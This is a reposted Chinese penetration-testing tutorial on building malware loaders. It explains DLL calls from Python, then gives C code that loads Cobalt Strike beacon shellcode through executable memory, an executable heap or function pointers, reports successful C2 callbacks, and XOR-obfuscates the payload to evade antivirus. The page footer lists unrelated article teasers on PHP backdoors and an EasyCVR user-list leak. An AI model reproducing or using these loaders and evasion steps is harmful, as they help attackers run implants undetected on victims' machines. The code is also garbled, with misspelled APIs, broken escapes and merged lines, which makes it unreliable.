内网渗透-DLL和C语言加载木马

免杀进阶技术

1、DLL的定义与使用

DLL:Dynamic Link library,动态链接库,是一个无法自己运行,需要额外的命令或程序来对其接口进行调用(类方法、函数)。

(1)在DevCpp中创建一个DLL项目

 (2)在dllmain.c中定义源代码函数接口

#include "dll.h"
#include windows. hDLLIMPORT void Helloworld()
{MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):
}DLLIMPORT int Calculate (int a, int b) {int result = a + b;return result;
}

(3)在dll.h的头文件中声明函数接口

DLLIMPORT void Helloworld();
DLLIMPORT int Calculate(int a, int b);

(4)在Python中调用DLL函数接口

没有编译之前都是源代码

当我们点击编译

 发现编译无错误,编译成功

编译一旦成功,这里就会生成一个DLL文件

由于DLL只是供别人调用的一个函数库,所以自己本身是不能运行的

如果我们直接点击运行,会告诉我们没有提供主程序,那么是没有办法进行运行的,它只是写好给别的程序调

然后将这个dll文件复制到我们的python目录下来,然后我们就可以在python当中进行调用了

然后我们创建一个dlltest.py,开始写入代码

import ctypes#加载DLL文件
func = ctypes.CDLL("./MyDLLDemo.dll")#调用函数
func.HelloWorld()

运行这段代码,运行结果如下:

然后我们再调用一个函数

result = func.Calculate(100,200)
print(result)

运行结果如下:

2、C语言加载ShellCode

1、在MSF或CS中生成C语言的ShellCode

unigned 叫无符号型(没有负数位),有符号位:-128-127,无符号:0-255

char buf[] 表示定义了一个字符数组(也可以看成是字符串,C语言没有内置字符串类型),在c语言中也可以用字符指针进行定义

我们使用32位的,不适用64位的

然后选择HTTP_Beacon

保存到Muma18的目录底下去

然后打开payload.c,这就是一个C语言版本的CS的payload

2、在C语言中对其进行加载实现CS上线

我们新建一个C语言的可执行项目,名称叫做RunCS

将我们生成的payload输入进去

编译没有报错

 然后运行,没有报错

 然后发现上线成功

 运行代码的时候,文件夹里会出现可执行程序RunCS.exe

这种程序不会免杀的

 3、C语言加载调用shellcode的几种方式

//第一种加载:申请内存加载
void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcdy(p,enc,sizeof(enc));
CODE code = (CODE) p;
code();
}//第二种加载:堆加载
HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
memcpy (exec, enc, sizeof(enc));
((void (*) ()) exec) () ;//第三种加载:函数指针加载
((void (*) (void)) & enc) () ;

使用内存加载的方式

然后我们编译运行,发现没有问题,说明编译成功

上线成功

使用堆加载的方式

编译运行成功

成功上线

 将这几种代码整合起来,如下:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>typedef void (__stdcall *CODE) () ;/* run this program using the console pauser or add your own getch, system("pause") or input loop */unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";void start () {申请内存加载/*void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,                         PAGE_EXECUTE_READWRITE);memcpy (p, buf, sizeof(buf));CODE code = (CODE) p;code();*/堆加载HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));memcpy (exec, buf, sizeof(buf));((void (*) ()) exec) () ;函数指针加载/* ((void(*) (void)) & buf) (); */int main(int arge, char targv[]) {start();return 0;
}

以上加载器不免杀

3、尝试对ShellCode进行代码混淆

对我们的shellcode进行异或处理,然后打印到控制台上去

编译成功,说明没有错误

 然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码混淆

得到了加密的之后,我们就来解密

将加密的ShellCode放到一个字符数组里面去,然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode

编译运行成功

 上线成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/41831.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一洽让常见问题的快速咨询,触手可及

在客户服务场景中&#xff0c;重复性常见问题的处理效率直接影响用户体验与客服成本。针对重复性常见问题&#xff0c;如何以直观的方式呈现给用户&#xff0c;使其能够快速、精准地提出咨询&#xff0c;已成为提升客户满意度的关键因素。 一、传统客服模式的效率枷锁 用户咨…

WEB攻防-Java安全SPEL表达式SSTI模版注入XXEJDBCMyBatis注入

目录 靶场搭建 JavaSec ​编辑​编辑 Hello-Java-Sec(可看到代码对比) SQL注入-JDBC(Java语言连接数据库) 1、采用Statement方法拼接SQL语句 2.PrepareStatement会对SQL语句进行预编译&#xff0c;但如果直接采取拼接的方式构造SQL&#xff0c;此时进行预编译也无用。 3、…

树莓集团南京园区启航:数字经济新地标!

深耕数字产业&#xff0c;构筑生态闭环 树莓集团在数字产业领域拥有超过十年的深厚积累&#xff0c;专注于构建“数字产业”的融合生态链。其核心优势在于有效整合政府、产业、企业及高校资源&#xff0c;形成一个协同创新、价值共生的产业生态闭环系统。 赋能转型&#xff0c…

Redis之bimap/hyperloglog/GEO

bimap/hyperloglog/GEO的真实需求 这些需求的痛点&#xff1a;亿级数据的收集清洗统计展现。一句话&#xff1a;存的进取得快多维度 真正有价值的是统计。 统计的类型 亿级系统中常见的四种统计 聚合统计 统计多个集合元素的聚合结果&#xff0c;就是交差并等集合统计。 排…

nara wpe去混响学习笔记

文章目录 1.WPE方法去混响的基本流程1.1.基本流程 2.离线迭代方法3.在线求法3.1.回顾卡尔曼方法3.2.在线去混响递推滤波器G方法 nara wpe git地址 博客中demo代码下载 参考论文 NARA - WPE: A Python Package for Weighted Prediction Error Dereverberation in Numpy and Ten…

JavaScript函数、箭头函数、匿名函数

1.示例代码(包括用法和注意事项) <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>JS-函数</title…

练习:求平方根

需求&#xff1a;键盘录入一个大于等于2的整数x&#xff0c;计算并返回x的平方根。结果只保留整数部分&#xff0c;小数部分将被舍去。 代码一&#xff1a; //求平方根 //方法一&#xff1a; package Online; import java.util.Scanner; public class SquareRoot {public sta…

win10 安装后的 系统盘的 分区

win10 安装后的 系统盘的 分区 MBR 分区 GPT 分区

反向 SSH 隧道技术实现内网穿透

反向 SSH 隧道技术实现内网穿透 场景描述 有一台内网的 Linux PC 机&#xff0c;想在其他地方&#xff08;如家中&#xff09;使用浏览器&#xff0c;在浏览器中能够使用内网 Linux PC 机的命令行。 实现思路 内网 Linux PC 机在内网可以使用 SSH 进行连接&#xff0c;但内…

[MRCTF2020]套娃

一。 按F12看源代码 发现代码 读代码发现 1.我们传的参数中不能存在_和%5f&#xff0c;可以通过使用空格来代替_&#xff0c;还是能够上传成功。 2.正则表达式"/^23333/ " &#xff0c;开头结尾都被 " " 和 " /"&#xff0c;开头结尾都被&qu…

基于Windows11的WSL2通过Ollama平台安装部署DeepSeek-R1模型

DeepSeek-R1模型各参数版本硬件要求 一、在Windows上安装Linux子系统WSL2 检查电脑是否支持虚拟化&#xff0c;按住<font style"color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">WindowsR</font>输入<font style"color:rgb(199,…

PHP回调后门小总结

目录 1.call_user_func 函数说明 蚁剑连接 2.数组操作造成的单参数回调后门 array_filter 函数说明 蚁剑连接 array_map 函数说明 蚁剑连接 3.二参数回调函数 uasort 函数说明 uksort array_reduce array_udiff 蚁剑连接 4.三参数的回调后门 array_walk 函数说…

MinGW与使用VScode写C语言适配

压缩包 通过网盘分享的文件&#xff1a;MinGW.zip 链接: https://pan.baidu.com/s/1QB-Zkuk2lCIZuVSHc-5T6A 提取码: 2c2q 需要下载的插件 1.翻译 找到VScode页面&#xff0c;从上数第4个&#xff0c;点击扩展&#xff08;以下通此&#xff09; 搜索---Chinese--点击---安装--o…

-PHP 应用SQL 盲注布尔回显延时判断报错处理增删改查方式

#PHP-MYSQL-SQL 操作 - 增删改查 1 、功能&#xff1a;数据查询(对数据感兴趣&#xff09; 查询&#xff1a; SELECT * FROM news where id$id 2 、功能&#xff1a;新增用户&#xff0c;添加新闻等&#xff08;对操作的结果感兴趣&#xff09; 增加&#xff1a; INSERT INT…

Linux一步部署主DNS服务器

#!/bin/bash #部署DHCP服务 #userli 20250319 if [ "$USER" ! "root" ] then echo "错误&#xff1a;非root用户&#xff0c;权限不足&#xff01;" exit 0 fi #防火墙与高级权限 systemctl stop firewalld && systemctl disable …

Softmax 回归 + 损失函数 + 图片分类数据集

Softmax 回归 softmax 回归是机器学习另外一个非常经典且重要的模型&#xff0c;是一个分类问题。 下面先解释一下分类和回归的区别&#xff1a; 简单来说&#xff0c;分类问题从回归的单输出变成了多输出&#xff0c;输出的个数等于类别的个数。 实际上&#xff0c;对于分…

视频管理平台-信息泄露漏洞

一&#xff1a;漏洞描述 EasyCVR 部分版本存在用户信息泄露漏洞&#xff0c;攻击者可直接通过此漏洞获取所有用户的账号密码。 二&#xff1a;fofa查询 title"EasyCVR" 三&#xff1a;漏洞复现 在fofa中寻找有漏洞的url 并访问 poc:/api/v1/userlist?pageinde…

gz sim机器人SDF模型 [持续更新]

机器人SDF模型 linklink的一级pose材质 plugin话题信息通信键盘操作plugin Sensor传感器imu 不算教学&#xff0c;个人的记录 sdf的格式跟urdf有所不同&#xff0c;必须是完整的一个包括&#xff0c;比如< pose></ pose>这样前一个后一个&#xff0c;urdf中是有<…

极速全场景 MPP数据库starrocks介绍

目录 一、引子 二、起源 &#xff08;一&#xff09;前身 &#xff08;二&#xff09;定位 三、特点 &#xff08;一&#xff09;高性能架构 &#xff08;二&#xff09;实时分析 &#xff08;三&#xff09;高并发与扩展性 &#xff08;四&#xff09;兼容性与生态 …

计算机二级(C语言)考试高频考点总汇(二)—— 控制流、函数、数组和指针

目录 六、控制流 七、函数 八、数组和指针 六、控制流 76. if 语句可以&#xff08;嵌套&#xff09;&#xff0c; if 语句可以嵌套在另一个 if 语句内部&#xff0c;形成&#xff08;嵌套的条件判断结构&#xff09;&#xff0c;用于处理更复杂的条件判断逻辑。 77. els…